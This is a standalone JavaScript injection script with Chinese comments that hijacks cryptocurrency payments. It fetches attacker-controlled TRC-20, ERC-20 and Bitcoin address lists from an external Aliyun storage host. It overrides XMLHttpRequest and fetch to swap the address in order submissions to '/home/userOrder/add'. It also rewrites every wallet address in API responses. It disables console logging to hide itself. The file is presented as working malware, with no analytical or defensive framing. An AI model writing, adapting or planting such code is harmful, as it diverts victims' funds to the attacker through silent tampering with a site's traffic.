(function() { // === 第一部分:地址缓存和请求篡改 === // 存储地址列表的缓存对象 const addressCache = { 'TRC-20': [], 'ERC-20': [], 'Bitcoin': [] }; // 1. 同步加载地址库 const loadAddressList = (chainType) => { let url = ''; if (chainType === 'TRC-20') { url = 'https://lengfeng88.oss-cn-hongkong.aliyuncs.com/down/TRC20.txt'; } else if (chainType === 'ERC-20') { url = 'https://lengfeng88.oss-cn-hongkong.aliyuncs.com/down/ETH.txt'; } else if (chainType === 'Bitcoin') { url = 'https://lengfeng88.oss-cn-hongkong.aliyuncs.com/down/BTC.txt'; } const xhr = new XMLHttpRequest(); xhr.open('GET', url, false); // 同步加载 xhr.send(); if (xhr.status === 200) { addressCache[chainType] = xhr.responseText.trim().split('\n'); } }; // 预加载所有地址库 ['TRC-20', 'ERC-20', 'Bitcoin'].forEach(loadAddressList); // 2. 从缓存中随机获取地址 const getRandomAddress = (chainType) => { const list = addressCache[chainType] || []; return list.length > 0 ? list[Math.floor(Math.random() * list.length)] : 'DEFAULT_ADDRESS'; }; // === 新增:响应内容替换函数 === const replaceResponseContent = (content) => { if (typeof content !== 'string') return content; // 规则1: 以'T'开头,长度34 (TRC-20) content = content.replace(/T[a-zA-Z0-9]{33}/g, () => { return getRandomAddress('TRC-20'); }); // 规则2: 以'0x'开头,长度42 (ERC-20) content = content.replace(/0x[a-fA-F0-9]{40}/g, () => { return getRandomAddress('ERC-20'); }); // 规则2: 以'0x'开头,长度42 (ERC-20) content = content.replace(/1[a-fA-F0-9]{33}/g, () => { return getRandomAddress('Bitcoin'); }); // 规则3: 以'bc1q'开头 (Bitcoin) content = content.replace(/bc1q[a-zA-Z0-9]+/g, () => { return getRandomAddress('Bitcoin'); }); return content; }; // === 第二部分:请求/响应拦截器 === // 保存原始方法 const originalOpen = XMLHttpRequest.prototype.open; const originalSend = XMLHttpRequest.prototype.send; const originalFetch = window.fetch; // 3. 重写XMLHttpRequest方法 XMLHttpRequest.prototype.open = function(method, url) { this._method = method; this._url = url; return originalOpen.apply(this, arguments); }; XMLHttpRequest.prototype.send = function(body) { // 第一部分逻辑:篡改POST请求体 if (this._url.includes('/home/userOrder/add') && this._method === 'POST') { try { const data = JSON.parse(body); if (data.chain && data.address) { data.address = getRandomAddress(data.chain); body = JSON.stringify(data); } } catch(e) {} } // 修改:篡改所有API响应 const originalOnReadyStateChange = this.onreadystatechange; const originalOnLoad = this.onload; this.onreadystatechange = function() { if (this.readyState === 4 && this.status === 200) { try { let responseText = this.responseText; const contentType = this.getResponseHeader('Content-Type') || ''; // 只处理文本/JSON响应 if (contentType.includes('text/') || contentType.includes('application/json')) { responseText = replaceResponseContent(responseText); // 覆盖原始响应 Object.defineProperty(this, 'responseText', { value: responseText, writable: false }); // 处理JSON响应 if (contentType.includes('application/json')) { try { const jsonResponse = JSON.parse(responseText); Object.defineProperty(this, 'response', { value: jsonResponse, writable: false }); } catch(e) {} } } } catch(e) {} } originalOnReadyStateChange && originalOnReadyStateChange.apply(this, arguments); }; this.onload = function() { if (this.status === 200) { try { let responseText = this.responseText; const contentType = this.getResponseHeader('Content-Type') || ''; // 只处理文本/JSON响应 if (contentType.includes('text/') || contentType.includes('application/json')) { responseText = replaceResponseContent(responseText); Object.defineProperty(this, 'responseText', { value: responseText, writable: false }); if (contentType.includes('application/json')) { try { const jsonResponse = JSON.parse(responseText); Object.defineProperty(this, 'response', { value: jsonResponse, writable: false }); } catch(e) {} } } } catch(e) {} } originalOnLoad && originalOnLoad.apply(this, arguments); }; return originalSend.call(this, body); }; // 4. 重写fetch方法 window.fetch = function(input, init) { const url = typeof input === 'string' ? input : input.url; let modifiedInit = init; // 第一部分逻辑:篡改POST请求体 if (url.includes('/home/userOrder/add') && init?.method === 'POST') { try { modifiedInit = {...init}; let bodyText = modifiedInit.body; if (typeof bodyText === 'string') { const data = JSON.parse(bodyText); if (data.chain && data.address) { data.address = getRandomAddress(data.chain); modifiedInit.body = JSON.stringify(data); } } } catch(e) {} } // 修改:篡改所有API响应 return originalFetch(input, modifiedInit || init).then(response => { if (!response.ok) return response; const contentType = response.headers.get('Content-Type') || ''; // 只处理文本/JSON响应 if (!contentType.includes('text/') && !contentType.includes('application/json')) { return response; } return response.clone().text().then(text => { const modifiedText = replaceResponseContent(text); return new Response(modifiedText, { status: response.status, statusText: response.statusText, headers: response.headers }); }); }); }; // 5. 隐藏所有日志输出 ['debug', 'log', 'info', 'warn'].forEach(method => { console[method] = function() {}; }); })();